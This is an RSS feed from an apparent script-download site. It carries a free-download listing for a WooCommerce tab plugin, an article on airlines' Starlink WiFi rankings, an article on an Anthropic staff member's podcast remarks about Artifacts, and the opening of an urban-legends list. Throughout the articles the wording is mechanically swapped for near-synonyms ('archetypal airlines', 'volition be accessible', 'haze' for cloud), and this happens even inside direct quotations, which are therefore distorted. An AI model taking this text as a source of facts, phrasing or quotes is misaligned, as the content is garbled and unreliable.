<?xml version="1.0" encoding="UTF-8" ?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" version="2.0"> <channel> <title><![CDATA[MC Project]]></title> <description><![CDATA[Global digital products and freelance services. Focuses on development, production and distribution of programming scripts, application source code, plugins, themes and templates.]]></description> <image> <title><![CDATA[MC Project]]></title> <url>https://en.mycoding.id/favicon.ico</url> <link>https://en.mycoding.id/</link> </image> <category><![CDATA[Software Engineering, Website Development, Mobile Android App, Application Source Code, Programming Scripts]]></category> <link>https://en.mycoding.id/</link> <atom:link href="https://en.mycoding.id/rss.xml" rel="self" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/rss-videos.xml" rel="alternate" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/" rel="alternate" type="text/html"/> <pubDate>Mon, 12 Oct 2026 10:40:00 +0700</pubDate> <lastBuildDate>Mon, 12 Oct 2026 10:40:00 +0700</lastBuildDate> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <managingEditor>support@mycoding.id (Adi Gunawan)</managingEditor> <webMaster>support@mycoding.id (Adi Gunawan)</webMaster> <language>en_US</language> <copyright>MC Project</copyright> <generator>MC Project</generator> <item> <title><![CDATA[Tab Manager for WooCommerce v1.16.5]]></title> <description><![CDATA[Tab Manager for WooCommerce v1.16.5. Tab Manager for WooCommerce v1.16.5 WordPress Plugin Free Download. Tab Manager gives you Complete Control complete your Product Page Tabs, allowing you to Easily C...]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Digital Products]]></category> <link>https://en.mycoding.id/tab-manager-for-woocommerce-v1-16-5-72130</link> <content:encoded><![CDATA[<div class="entry-content admission clearfix"><div class="stream-item stream-item-above-post-content"><div class="stream-item-size"> </div></div><p class="wp-block-paragraph">Tab Manager for WooCommerce v1.16.5 WordPress Plugin Free Download. Tab Manager gives you Complete Control complete your Product Page Tabs, allowing you to Easily Create new Tabs for Products, Share Tabs among Multiple Products, Reorder Tabs using a Visual Drag-and-drop Interface, and more. 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Elon Musk's Starlink is all over the list.]]></title> <description><![CDATA[Passengers ranked the top 10 airlines with the best in-flight WiFi. Elon Musk's Starlink is all over the list.. Of the top 10 airlines alongside the finest in-flight WiFi, seven have partnerships alongside Starlink — an sign of how Elon Musk is cornering the market.]]></description> <media:thumbnail url="https://i.insider.com/6ac90c947bf24b4467e69ba0?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/passengers-ranked-the-top-10-airlines-with-the-best-in-flight-wifi-elon-musk-s-starlink-is-all-over-the-list-72123</link> <content:encoded><![CDATA[<div data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ac90c62301bb0551f4943fe?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ac90c62301bb0551f4943fe?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ac90c62301bb0551f4943fe?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ac90c62301bb0551f4943fe?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ac90c62301bb0551f4943fe?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ac90c62301bb0551f4943fe?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ac90c62301bb0551f4943fe?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="A man using a phone and laptop on a flight." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Airlines are upgrading their in-flight WiFi offerings.</span> <span> <span e-name="image-source" itemprop="creditText">eastwest photo/Getty Images</span> </span> </figcaption> </span> </span></figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Move apart precedence boarding and additional legroom &mdash; airlines are investing in high-speed in-flight WiFi as a key amenity to diagram customers.</p><p>This year, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Skytrax's World Airline Awards</a> added a World's Best Onboard WiFi category "to indicate the importance to today's client cognition of accelerated and liberated onboard connectivity," Skytrax wrote in a media release.</p><p>The ranking was resolute by surveying passengers from complete 100 nationalities between September 2025 and August 2026 in the world's largest transporter passenger fulfillment survey.</p><p>One WiFi provider popped up again and again in Skytrax's ranking of winning airlines: Starlink.</p><p>Of the top 10 airlines recognized for having the finest in-flight WiFi offerings, seven have partnerships alongside <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Elon Musk's high-speed net company</a> &mdash; an sign of how <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Starlink is cornering the market.</a></p><p>Over 40 carriers worldwide have partnered alongside Starlink, which provides streaming-quality WiFi on flights via its network of complete 11,000 satellites.</p><p>Here are the top 10 airlines alongside the finest onboard WiFi, classified by passengers.</p> <div data-component-type="post-slides" data-load-strategy="lazy"> <div> <h2>10. Emirates</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac90ab4301bb0551f4943ec&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:6125,&quot;aspectRatioH&quot;:4083}}' alt="A Boeing 777-300ER airplane operated by Emirates."> </p></div> <span> <figcaption e-name="image-caption"> <span>A Boeing 777-300ER airplane operated by Emirates.</span> <span> <span e-name="image-source" itemprop="creditText">Mateusz Wlodarczyk/NurPhoto via Getty Images</span> </span> </figcaption> </span></figure> <p>Emirates was among the archetypal airlines to recommendation Starlink WiFi on its A380 aircraft, and plans to add Starlink to its fleet by mid-2027.</p> </div> <div> <h2>9. EVA Air</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac90a887bf24b4467e69b8f&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:4120,&quot;aspectRatioH&quot;:2850}}' alt="An Eva Air airplane."> </p></div> <span> <figcaption e-name="image-caption"> <span>An Eva Air airplane.</span> <span> <span e-name="image-source" itemprop="creditText">ADEK BERRY/AFP via Getty Images</span> </span> </figcaption> </span></figure> <p>EVA Air's onboard WiFi assistance is provided by Panasonic Avionics Corporation.</p> </div> <div> <h2>8. Virgin Atlantic</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac90a51301bb0551f4943e8&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:4000,&quot;aspectRatioH&quot;:2667}}' alt="The Virgin logo sits on the tail-fins of passenger aircraft."> </p></div> <span> <figcaption e-name="image-caption"> <span>The Virgin logo on the rear fins of passenger aircraft.</span> <span> <span e-name="image-source" itemprop="creditText">Bloomberg/Getty Images</span> </span> </figcaption> </span></figure> <p>As the archetypal UK transporter to partner alongside Starlink, Virgin Atlantic began offering flights armed alongside <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">streaming-quality WiFi</a> in May.</p> </div> <div> <h2>7. Singapore Airlines</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6aac334016256d3825fdf15a&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:4961,&quot;aspectRatioH&quot;:3307}}' alt="An Airbus A350-900 operated by Singapore Airlines."> </p></div> <span> <figcaption e-name="image-caption"> <span>An Airbus A350-900 operated by Singapore Airlines.</span> <span> <span e-name="image-source" itemprop="creditText">Massimo Insabato/Archivio Massimo Insabato/Mondadori Portfolio via Getty Images</span> </span> </figcaption> </span></figure> <p>Singapore Airlines volition commencement rolling out Starlink WiFi on its Airbus A350 and Airbus A380 planes in 2027.</p> </div> <div> <h2>6. Hawaiian Airlines</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac909fd301bb0551f4943e4&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:5239,&quot;aspectRatioH&quot;:3369}}' alt="A Hawaiian Airlines Airbus A330."> </p></div> <span> <figcaption e-name="image-caption"> <span>A Hawaiian Airlines Airbus A330.</span> <span> <span e-name="image-source" itemprop="creditText">Kevin Carter/Getty Images</span> </span> </figcaption> </span></figure> <p>Hawaiian Airlines became the archetypal important US transporter to recommendation Starlink in February 2024 before merging alongside Alaska Airlines that September.</p> </div> <div> <h2>5. JetBlue Airways</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac909d9301bb0551f4943df&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:8338,&quot;aspectRatioH&quot;:5559}}' alt="A digital display on the rear of a place on a JetBlue Airbus A320."> </p></div> <span> <figcaption e-name="image-caption"> <span>A digital display on the rear of a place on a JetBlue Airbus A320.</span> <span> <span e-name="image-source" itemprop="creditText">Al Drago/Getty Images</span> </span> </figcaption> </span></figure> <p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Amazon Leo</a>, which operates about 400 low-orbit satellites, volition be accessible on JetBlue flights starting in 2027.</p> </div> <div> <h2>4. Alaska Airlines</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac9099c42403ad8039a50b6&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:5416,&quot;aspectRatioH&quot;:3611}}' alt="An Alaska Airlines Boeing 737-900."> </p></div> <span> <figcaption e-name="image-caption"> <span>An Alaska Airlines Boeing 737-900.</span> <span> <span e-name="image-source" itemprop="creditText">Kevin Carter/Getty Images</span> </span> </figcaption> </span></figure> <p>Alaska Airlines announced its agreement alongside Starlink in August 2025 following merging alongside Hawaiian Airlines, and is rolling out Starlink WiFi throughout its fleet.</p> </div> <div> <h2>3. United Airlines</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac9097d7bf24b4467e69b7e&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:5400,&quot;aspectRatioH&quot;:3600}}' alt="A United Airlines Boeing 737 MAX 8."> </p></div> <span> <figcaption e-name="image-caption"> <span>A United Airlines Boeing 737 MAX 8.</span> <span> <span e-name="image-source" itemprop="creditText">Al Drago/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>As of September, United offers Starlink on 560 aircraft, and plans to add it to its complete fleet.</p><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">United has made efforts to lure Delta customers</a> by touting its Starlink WiFi.</p> </div> </div> <div> <h2>2. Delta Air Lines</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac909577bf24b4467e69b7c&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:5070,&quot;aspectRatioH&quot;:3380}}' alt="A Delta Air Lines Boeing 737."> </p></div> <span> <figcaption e-name="image-caption"> <span>A Delta Air Lines Boeing 737.</span> <span> <span e-name="image-source" itemprop="creditText">Kevin Carter/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>Amazon Leo volition be accessible on Delta Air Lines flights starting in 2028.</p><p>Delta and Musk have been at likelihood complete Delta's decision not to choose Starlink, with&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Musk criticizing the airline</a>&nbsp;and its CEO, Ed Bastian, in posts on X. Bastian told CNBC on Friday that he pays small heed to the feud.</p><p>"I'm a big fan of Starlink," Bastian said. "I'm a fan of what Elon does. I run a Tesla. OK? So there's nothing. All this nonsense concerning being individual is not true at all."</p> </div> </div> <div> <h2>1. Qatar Airways</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ac9088242403ad8039a50a2&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:3734,&quot;aspectRatioH&quot;:2489}}' alt="A Qatar Airways plane."> </p></div> <span> <figcaption e-name="image-caption"> <span>A Qatar Airways Boeing 787-8 Dreamliner.</span> <span> <span e-name="image-source" itemprop="creditText">Mateusz Wlodarczyk/NurPhoto via Getty Images</span> </span> </figcaption> </span></figure> <div> <p>Qatar Airways won Skytrax's first World's Best Onboard WiFi award.</p><p>All of Qatar Airways' Boeing 777s and Airbus A350s characteristic Starlink. The transporter is now expanding the assistance to its Boeing 787 fleet.</p> </div> </div> </div> </div> <p> <h2> Read next </h2> </p>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/passengers-ranked-the-top-10-airlines-with-the-best-in-flight-wifi-elon-musk-s-starlink-is-all-over-the-list-72123</guid> <pubDate>Mon, 12 Oct 2026 10:32:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Talia Lakritz)]]></author> </item> <item> <title><![CDATA[Anthropic’s Thariq Shihipar Recommends Using Artifacts]]></title> <description><![CDATA[Anthropic’s Thariq Shihipar Recommends Using Artifacts. Anthropic's Thariq Shihipar says Artifacts brings project data and delegate action into one interface, giving users additional oversight. The article Anthropic’s T...]]></description> <media:thumbnail url="https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/latent-space-host-855.jpg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/anthropic-s-thariq-shihipar-recommends-using-artifacts-72129</link> <content:encoded><![CDATA[<div class="sej-article-content gototop-pos "> <div class="sss2_sllo_o6"> </div> <div id="narrow-cont"><p>Anthropic’s Thariq Shihipar, Member of the Technical Staff at Anthropic, explains why AI agents need additional than person instructions and how Artifacts helps Claude accomplish users’ goals. In a latest podcast interview, Shihipar makes the case that Artifacts, a characteristic introduced in 2024, is the way to explain requirements, communicate preferences, and collaborate additional efficiently alongside AI agents.</p> <h2>Claude Users Haven’t Caught On To Artifacts?</h2> <p>A <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">Claude AI Facebook group</a> alongside nearly three myriad users rarely hosts discussions concerning Artifacts, indicating that it power not be fine understood. Shihipar acknowledges that Claude users haven’t embraced the idea of Artifacts as a project administration dashboard.</p> <p><em>He explains:</em></p> <blockquote><p>“And so one item that group are not doing yet that I’m trying to advance is this idea of a dashboard artifact.</p> <p>So you have Claude operating on a project lengthy term. Maybe it’s akin a Kanban or something. It can shop that Kanban data in a database.</p> <p>Multiple Claudes can admission that data via the Artifact MCP. And that Artifact can conversation to those Claudes as well.</p> <p>…But there’s a lot of activity to do since it’s so much additional complex than a multiple choice question. There’s a lot additional item in conditions of diagrams and code snippets and schemas or any it is for that problem.</p> <p>But Artifacts is the additional AGI-pilled way of doing the, ‘ask you the question,’ basically.”</p></blockquote><div data-total="10" id="SEJ_300x250_UnderPost_1-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="0" data-middle="yes" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_1" id="SEJ_300x250_UnderPost_1" class="sadslots"> </div> </div> </div> </div> <h2>Artifacts Seen As Interface For Collaboration With AI Agents</h2> <p>The podcast co-host, named SWYX, pushed rear on the use of Artifacts, insisting on fair operating direct alongside Claude, zero Artifacts. He  expressed that he was unclear concerning what goes into Artifacts and what goes into Claude.</p> <h3>Latent Space Co-Host SWYX</h3> <figure id="attachment_592612" class="wp-caption alignnone"><img decoding="async" src="https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/latent-space-host-855.jpg" alt="" width="500" height="566" class="wp-image-592612 size-full" srcset="https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/latent-space-host-855-384x435.jpg 384w, https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/latent-space-host-855-425x481.jpg 425w, https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/latent-space-host-855-480x543.jpg 480w, https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/latent-space-host-855.jpg 500w" sizes=" 500px) 100vw, 500px" loading="lazy"><figcaption class="wp-caption-text">Screenshot/Latent Spaces podcast</figcaption></figure> <p><em>His counterpoint to Shihipar:</em></p> <blockquote><p>“I think one item that’s unclear to me concerning the Artifact material is what feedback should go in through the Artifact and what feedback should go through a Claude, the chat.</p> <p>Because the additional AGI-pilled one is to fair nourish everything to the Claude.”</p></blockquote><div data-total="10" id="SEJ_300x250_UnderPost_2-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="1" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_2" id="SEJ_300x250_UnderPost_2" class="sadslots"> </div> </div> </div> </div> <p><em>Shihipar responded:</em></p> <blockquote><p>“I think the additional AGI-pilled one is to go through the artifact. And I think that we kind of ideate in the limit. I think that Artifacts volition be your interface into the harness. You can comment on this live document of your scheme of the work.You can see perchance multiple agents and distinct agents are doing this. And that Artifact is built for the current activity that you’re doing.</p> <p>…I think we’re motionless getting there from an infrastructure perspective. But yeah, I think on-the-fly interface for your harness is likely anywhere things are headed.”</p></blockquote> <p><em>Co-host Vihu Sapra asked:</em></p> <blockquote><p>“Is there a type of it that’s an idea from CLI or conversation and… Because correct now a lot of it is, okay, you’re interfacing alongside Claude Code, you’re having HTML stated rear for a mock-up. It’s beautiful rich, there’s diagrams. Artifacts are ways to nexus these together.</p> <p>Why not fair do everything that way?”</p></blockquote><div data-total="10" id="SEJ_300x250_UnderPost_3-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="2" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_3" id="SEJ_300x250_UnderPost_3" class="sadslots"> </div> </div> </div> </div> <p><em>Shihipar responded:</em></p> <blockquote><p>“Then it becomes akin separating out like, anywhere is the conclusion happening? Where’s the intellect happening? Where is the activity happening?</p> <p>I think this is benevolent of… akin several of the distinctions between local and cloud, right? And so I think correct now, if you use Claude Code, it’s akin local and you can rotation off distant control, for example, to get several haze behavior or you can rotation off Claude Code in the cloud, right?</p> <p>We’re moving towards a location anywhere alternatively of Claudes, you communication a local Claude, it starts a meeting locally and it executes to additional akin you have a Claude that you communication that’s in the haze that’s running. It can run local or haze sessions. This is benevolent of how Claude Tag works, but complete period we’ll add local hands as well.</p> <p>And so local hands volition be the capability for that delegate to admission your device if it’s online, and be capable to activity there. And so it can rotation off many distinct sub-agents. Those sub-agents can communicate alongside all other. And that’s anywhere the Artifact comes in to display all of that work, basically.</p> <p>So you can ideate you’re separating out these things. So there is the exterior UI display that’s an Artifact and hosted location and has a repository and everything.</p> <p>There is the conclusion intellect that’s happening on the cloud, and you don’t have to concern concerning shutting off your device or whatever.</p> <p>And afterward there’s the hands benevolent of, and it can be local, it can be in a distant sandbox or anywhere you need your activity to be done. That’s unpackaging the Claude Code cognition correct now. Right now, it all happens in one place, right?”</p></blockquote><div data-total="10" id="SEJ_300x250_UnderPost_4-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="3" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_4" id="SEJ_300x250_UnderPost_4" class="sadslots"> </div> </div> </div> </div> <h2>Takeaways</h2> <p>Shihipar believes Claude users should create greater use of Artifacts to oversee projects and collaborate alongside AI agents alternatively of relying entirely on Claude chat. Artifacts helps users comprehend what agents are doing and guide their activity additional effectively.</p> <p>Along alongside his recommendation, he additionally recognizes that Anthropic has additional activity to do to completely acknowledge his imagination for how users can engage and collaborate alongside AI agents alongside Artifacts.</p> <p><strong>Watch the discussion here:</strong></p> <p class="vcont"><p class="embed-responsive embed-responsive-16by9 post-embed"><iframe width="560" height="315" aria-label="Preview" class="embed-responsive-item" src="https://www.youtube.com/embed/IZAlq-V19U8?feature=oembed&amp;autoplay=1&amp;mute=1&amp;playsinline=1&amp;rel=0" title="YouTube video player" frameborder="0" allow="autoplay; accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p></p> <p>Featured Image/Screenshot</p> </div> <div id="bcats" class="bottom-cat narrow-cont"> <span class="sej-category boxed cat-label">Category</span> <a href="https://en.mycoding.id/category/business" target="_blank">News</a> <a href="https://en.mycoding.id/category/business" target="_blank">AI Search</a> </div> <div class="sej-above-author-widget"> <div class="sej-widget clearfix"> <div class="sej-badge-box"> <a href="https://en.mycoding.id/category/business" target="_blank" data-placement="Under Article" aria-label="Add Search Engine Journal as a preferred origin on Google"> <svg class="sej-gps-g" viewbox="0 0 48 48" aria-hidden="true" focusable="false"> <path fill="#EA4335" d="M24 9.5c3.54 0 6.71 1.22 9.21 3.6l6.85-6.85C35.9 2.38 30.47 0 24 0 14.62 0 6.51 5.38 2.56 13.22l7.98 6.19C12.43 13.72 17.74 9.5 24 9.5z"></path> <path fill="#4285F4" d="M46.98 24.55c0-1.57-.15-3.09-.38-4.55H24v9.02h12.94c-.58 2.96-2.26 5.48-4.78 7.18l7.73 6c4.51-4.18 7.09-10.36 7.09-17.65z"></path> <path fill="#FBBC05" d="M10.53 28.59c-.48-1.45-.76-2.99-.76-4.59s.27-3.14.76-4.59l-7.98-6.19C.92 16.46 0 20.12 0 24c0 3.88.92 7.54 2.56 10.78l7.97-6.19z"></path> <path fill="#34A853" d="M24 48c6.48 0 11.93-2.13 15.89-5.81l-7.73-6c-2.15 1.45-4.92 2.3-8.16 2.3-6.26 0-11.57-4.22-13.47-9.91l-7.98 6.19C6.51 42.62 14.62 48 24 48z"></path> </svg> <span class="sej-gps-text">Add <b>SEJ</b> as a preferred origin on Google</span> </a> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/anthropic-s-thariq-shihipar-recommends-using-artifacts-72129</guid> <pubDate>Mon, 12 Oct 2026 10:31:25 +0700</pubDate> <author><![CDATA[support@mycoding.id (Roger Montti)]]></author> </item> <item> <title><![CDATA[The creepiest urban legend from every US state]]></title> <description><![CDATA[The creepiest urban legend from every US state. In all state, municipal legends have been scaring residents for years, and they can average big endeavor for local economies.]]></description> <media:thumbnail url="https://i.insider.com/6ac94008301bb0551f49462f?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/the-creepiest-urban-legend-from-every-us-state-72124</link> <content:encoded><![CDATA[<div data-component-type="image-modal" data-load-strategy="lazy"> <p>Have you always felt a chill as you stroll downward your street, or run alongside a dreary highway in your residence state?</p><p>You power desire to inspect this catalog to see if your state's creepiest municipal fable unfolded near you.</p><p>Every country, state, and town has its own municipal legends known to residents and fans of the paranormal. Some are attempts to explain mysterious phenomena or tragedies, during others are passed downward because of our fascination alongside the dreary and macabre.</p><p>Some areas have capitalized on local municipal legends to diagram tourists and boost local economies. In the West Virginia city of Point Pleasant, for example, the fable of Mothman is integral to the community. The Mothman Festival is held all September and includes visitant speakers, a street fair, bus tours, live music, food trucks, and more. There's equal a Mothman museum.</p><p>It's not for nothing. The Main Street Point Pleasant institution told <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">The&nbsp;River Cities Tribune&nbsp;&amp;&nbsp;Register</a> in 2024 that it estimates the celebration brings concerning $2 myriad to the city's economics all year.</p><p>But not all municipal fable is that fine known. We chose the creepiest municipal fable we could discover in all state, from the little-known to the mainstays akin Bigfoot and the Jersey Devil.</p> <div data-component-type="post-slides" data-load-strategy="lazy"> <div> <h2>ALABAMA: Hell's Gate Bridge</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5f403bc042f43f001ddfe795&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:1010,&quot;aspectRatioH&quot;:758}}' alt="hell&#039;s entrance bridge"> </p></div> <span> <figcaption e-name="image-caption"> <span>The bridge.</span> <span> <span e-name="image-source" itemprop="creditText"> <a href="https://en.mycoding.id/category/business" target="_blank" rel="nofollow"> Google Maps </a> </span> </span> </figcaption> </span></figure> <div> <p>The mostly accepted narrative of Hell's Gate Bridge starts in the 1950s, according to the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Oxford Paranormal Society</a>; a&nbsp;young brace driving complete the extend somehow drove their car off the extend one night, and they the two drowned.</p><p>There are two legends connected alongside Hell's Gate Bridge: one is that if you run your car out to the center of the extend and rotate off the lights, the brace volition magically appear in your car and depart a wet place on the seat.</p><p>The other, which is how the extend got its name, is the condemnation that if you run complete the extend and appearance complete your high arm midway through, the landscape rearward you turns into a portal to hell engulfed in flames.</p><p>Potentially to curb shade hunters and uninterested teenagers, Hell's Gate Bridge is&nbsp;closed to cars, according to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">The Anniston Star</a>, and it is in specified disrepair that strolling throughout is powerfully discouraged.</p> </div> </div> <div> <h2>ALASKA: The Kushtaka of the Alaskan Triangle</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img 